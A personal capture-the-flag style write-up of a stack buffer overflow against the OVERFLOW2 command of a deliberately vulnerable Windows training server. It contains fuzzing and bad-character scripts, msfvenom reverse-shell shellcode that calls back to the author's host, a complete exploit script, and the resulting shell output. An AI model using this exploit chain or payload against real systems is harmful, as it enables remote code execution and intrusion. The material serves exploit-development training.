Tryhackme Buffer Overflow 2 OSCP style
Second post about the bufferoverflow series on tryhackme. Writeup Buffer Overflow 2 OSCP style. This is a practice based on the firt stack overflow 1 of this serie.
Note
Because this post is about practice and repeat I will be (more) direct to the action and I will use a simple post estructure. These are just personal notes and are resumed.
The first bufferoverflow can be found here:
https://u915.net/posts/2021/06/tryhackme-buffer-overflow-1-oscp-style/
Environment
I used the windows 7 VM 32bits with inmunity debugger inside the tryhackme room.
Windows Firewall and Defender are disabled.
Connection
Remote connection to the machine:
xfreerdp /u:admin /p:password /cert:ignore /v:10.10.π /workarea
Basic test
nc 10.10.π 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT
Fuzz
Fuzzing the command OVERFLOW2 [value]
#!/bin/python3
from pwn import *
HOST = "10.10.π"
PORT = "1337"
LIMIT = 60
CHARS_FUZZ = 50
r = remote(HOST,PORT)
print(r.recvline(timeout=1))
for x in range (1,LIMIT):
print("[+] SENDING "+str(CHARS_FUZZ*x)+" CHARS, COUNTER:"+str(x))
r.sendline("OVERFLOW2 "+"A"*CHARS_FUZZ*x)
if (r.recvline(timeout=1))==b'':
print("[!] KO")
r.close()
break
Trace
python3 fuzz1.py
[+] Opening connection to 10.10.π on port 1337: Done
b'Welcome to OSCP Vulnerable Server! Enter HELP for help.\n'
[+] SENDING 50 CHARS, COUNTER:1
[+] SENDING 100 CHARS, COUNTER:2
[+] SENDING 150 CHARS, COUNTER:3
[+] SENDING 200 CHARS, COUNTER:4
[+] SENDING 250 CHARS, COUNTER:5
[+] SENDING 300 CHARS, COUNTER:6
[+] SENDING 350 CHARS, COUNTER:7
[+] SENDING 400 CHARS, COUNTER:8
[+] SENDING 450 CHARS, COUNTER:9
[+] SENDING 500 CHARS, COUNTER:10
[+] SENDING 550 CHARS, COUNTER:11
[+] SENDING 600 CHARS, COUNTER:12
[+] SENDING 650 CHARS, COUNTER:13
[!] KO
[*] Closed connection to 10.10.π port 1337
The server crashes between the range 600 and 650 chars
Finding the exact chars needed
To check how many characters are required to crash the server I used msfpattern with a 2000 characters sample:
msf-pattern_create -l 650
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av
Using nc to send the 2000 chars pattern generated
nc 10.10.π 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
OVERFLOW2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av
The EIP value is 76413176
msf-pattern_offset -l 650 -q 76413176
[*] Exact match at offset 634
So the exact offset is 634
Finding JMP ESP
/usr/bin/msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Using mona inside Inmunity debugger to find a memory address without protection.
!mona modules
!mona find -s "\xff\xe4"
Selected adress:
0x76FC050F
To little endian:
76FC050F -> esp = “\x0f\x05\xfc\x76”
Finding Bad chars
Mona working directory:
!mona config -set workingfolder C:\Users\admin\Desktop\%p
Setup bytearray
!mona bytearray -cpb \x00
Generic char list, without \x00:
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
Final bad chars script:
#!/bin/python3
from pwn import *
HOST = "10.10.π"
PORT = "1337"
offset = 634
fuzz = "A"*offset
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3d\x3e\x3f\x40\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
"\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3"
"\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
r = remote(HOST,PORT)
print(r.recvline(timeout=1))
print("[+] SENDING "+str(offset)+" CHARS + BADCHARS")
r.sendline("OVERFLOW2 "+str(fuzz)+"BBBB"+badchars)
if (r.recvline(timeout=1))==b'':
print("[!] KO")
r.close()
Final bad chars are:
!mona bytearray -cpb \x00\x23\x3c\x83\xba
!mona compare -a 0194FA30 -f C:\Users\admin\Desktop\_no_name\bytearray.bin
Compare worked. Note: Do not forget to change the esp memory address in each iteration (parameter -a).
Payload
Payload generated with msfvenom
msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.9.π LPORT=4433 -f c -v shellcode -b '\x00\x23\x3c\x83\xba' EXITFUNC=thread
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with A valid opcode permutation could not be found.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=3, char=0x00)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor failed with Encoding failed due to a bad character (index=21, char=0x83)
Attempting to encode payload with 1 iterations of x86/countdown
x86/countdown failed with Encoding failed due to a bad character (index=112, char=0x23)
Attempting to encode payload with 1 iterations of x86/fnstenv_mov
x86/fnstenv_mov failed with Encoding failed due to a bad character (index=17, char=0x83)
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of c file: 1514 bytes
unsigned char shellcode[] =
"\xfc\xbb\xf7\x28\x2c\x3b\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x0b\xc0\xae\x3b\xf3"
"\x11\xcf\xb2\x16\x20\xcf\xa1\x53\x13\xff\xa2\x31\x98\x74\xe6"
"\xa1\x2b\xf8\x2f\xc6\x9c\xb7\x09\xe9\x1d\xeb\x6a\x68\x9e\xf6"
"\xbe\x4a\x9f\x38\xb3\x8b\xd8\x25\x3e\xd9\xb1\x22\xed\xcd\xb6"
"\x7f\x2e\x66\x84\x6e\x36\x9b\x5d\x90\x17\x0a\xd5\xcb\xb7\xad"
"\x3a\x60\xfe\xb5\x5f\x4d\x48\x4e\xab\x39\x4b\x86\xe5\xc2\xe0"
"\xe7\xc9\x30\xf8\x20\xed\xaa\x8f\x58\x0d\x56\x88\x9f\x6f\x8c"
"\x1d\x3b\xd7\x47\x85\xe7\xe9\x84\x50\x6c\xe5\x61\x16\x2a\xea"
"\x74\xfb\x41\x16\xfc\xfa\x85\x9e\x46\xd9\x01\xfa\x1d\x40\x10"
"\xa6\xf0\x7d\x42\x09\xac\xdb\x09\xa4\xb9\x51\x50\xa1\x0e\x58"
"\x6a\x31\x19\xeb\x19\x03\x86\x47\xb5\x2f\x4f\x4e\x42\x4f\x7a"
"\x36\xdc\xae\x85\x47\xf5\x74\xd1\x17\x6d\x5c\x5a\xfc\x6d\x61"
"\x8f\x53\x3d\xcd\x60\x14\xed\xad\xd0\xfc\xe7\x21\x0e\x1c\x08"
"\xe8\x27\xb7\xf3\x7b\x42\x41\xff\xdb\x3a\x53\xff\x0a\xea\xda"
"\x19\x46\x1c\x8b\xb2\xff\x85\x96\x48\x61\x49\x0d\x35\xa1\xc1"
"\xa2\xca\x6c\x22\xce\xd8\x19\xc2\x85\x82\x8c\xdd\x33\xaa\x53"
"\x4f\xd8\x2a\x1d\x6c\x77\x7d\x4a\x42\x8e\xeb\x66\xfd\x38\x09"
"\x7b\x9b\x03\x89\xa0\x58\x8d\x10\x24\xe4\xa9\x02\xf0\xe5\xf5"
"\x76\xac\xb3\xa3\x20\x0a\x6a\x02\x9a\xc4\xc1\xcc\x4a\x90\x29"
"\xcf\x0c\x9d\x67\xb9\xf0\x2c\xde\xfc\x0f\x80\xb6\x08\x68\xfc"
"\x26\xf6\xa3\x44\x46\x15\x61\xb1\xef\x80\xe0\x78\x72\x33\xdf"
"\xbf\x8b\xb0\xd5\x3f\x68\xa8\x9c\x3a\x34\x6e\x4d\x37\x25\x1b"
"\x71\xe4\x46\x0e\x71\x0a\xb9\xb1";
Final script and reverse shell
The final script looks like this:
#!/bin/python3
from pwn import *
HOST = "10.10.π"
PORT = "1337"
offset = 634
esp = "\x0f\x05\xfc\x76"
nop = "\x90"*20
shellcode = ("\xfc\xbb\xf7\x28\x2c\x3b\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3"
"\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x0b\xc0\xae\x3b\xf3"
"\x11\xcf\xb2\x16\x20\xcf\xa1\x53\x13\xff\xa2\x31\x98\x74\xe6"
"\xa1\x2b\xf8\x2f\xc6\x9c\xb7\x09\xe9\x1d\xeb\x6a\x68\x9e\xf6"
"\xbe\x4a\x9f\x38\xb3\x8b\xd8\x25\x3e\xd9\xb1\x22\xed\xcd\xb6"
"\x7f\x2e\x66\x84\x6e\x36\x9b\x5d\x90\x17\x0a\xd5\xcb\xb7\xad"
"\x3a\x60\xfe\xb5\x5f\x4d\x48\x4e\xab\x39\x4b\x86\xe5\xc2\xe0"
"\xe7\xc9\x30\xf8\x20\xed\xaa\x8f\x58\x0d\x56\x88\x9f\x6f\x8c"
"\x1d\x3b\xd7\x47\x85\xe7\xe9\x84\x50\x6c\xe5\x61\x16\x2a\xea"
"\x74\xfb\x41\x16\xfc\xfa\x85\x9e\x46\xd9\x01\xfa\x1d\x40\x10"
"\xa6\xf0\x7d\x42\x09\xac\xdb\x09\xa4\xb9\x51\x50\xa1\x0e\x58"
"\x6a\x31\x19\xeb\x19\x03\x86\x47\xb5\x2f\x4f\x4e\x42\x4f\x7a"
"\x36\xdc\xae\x85\x47\xf5\x74\xd1\x17\x6d\x5c\x5a\xfc\x6d\x61"
"\x8f\x53\x3d\xcd\x60\x14\xed\xad\xd0\xfc\xe7\x21\x0e\x1c\x08"
"\xe8\x27\xb7\xf3\x7b\x42\x41\xff\xdb\x3a\x53\xff\x0a\xea\xda"
"\x19\x46\x1c\x8b\xb2\xff\x85\x96\x48\x61\x49\x0d\x35\xa1\xc1"
"\xa2\xca\x6c\x22\xce\xd8\x19\xc2\x85\x82\x8c\xdd\x33\xaa\x53"
"\x4f\xd8\x2a\x1d\x6c\x77\x7d\x4a\x42\x8e\xeb\x66\xfd\x38\x09"
"\x7b\x9b\x03\x89\xa0\x58\x8d\x10\x24\xe4\xa9\x02\xf0\xe5\xf5"
"\x76\xac\xb3\xa3\x20\x0a\x6a\x02\x9a\xc4\xc1\xcc\x4a\x90\x29"
"\xcf\x0c\x9d\x67\xb9\xf0\x2c\xde\xfc\x0f\x80\xb6\x08\x68\xfc"
"\x26\xf6\xa3\x44\x46\x15\x61\xb1\xef\x80\xe0\x78\x72\x33\xdf"
"\xbf\x8b\xb0\xd5\x3f\x68\xa8\x9c\x3a\x34\x6e\x4d\x37\x25\x1b"
"\x71\xe4\x46\x0e\x71\x0a\xb9\xb1")
r = remote(HOST,PORT)
print(r.recvline(timeout=1))
print("[+] SENDING PAYLOAD")
payload = "A"*offset+esp+nop+str(shellcode)
r.sendline("OVERFLOW2 "+payload)
if (r.recvline(timeout=1))==b'':
print("[!] KO")
r.close()
There are 20 Nop(\x90) operations to prevent race write operations.
Finally setting up a nc listener and triggering the buffer overflow:
nc -lvp 4433
listening on [any] 4433 ...
10.10.π: inverse host lookup failed: Unknown host
connect to [10.9.π] from (UNKNOWN) [10.10.π] 49340
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\admin\Desktop\vulnerable-apps\oscp>whoami
whoami
oscp-bof-prep\admin
Thanks for reading!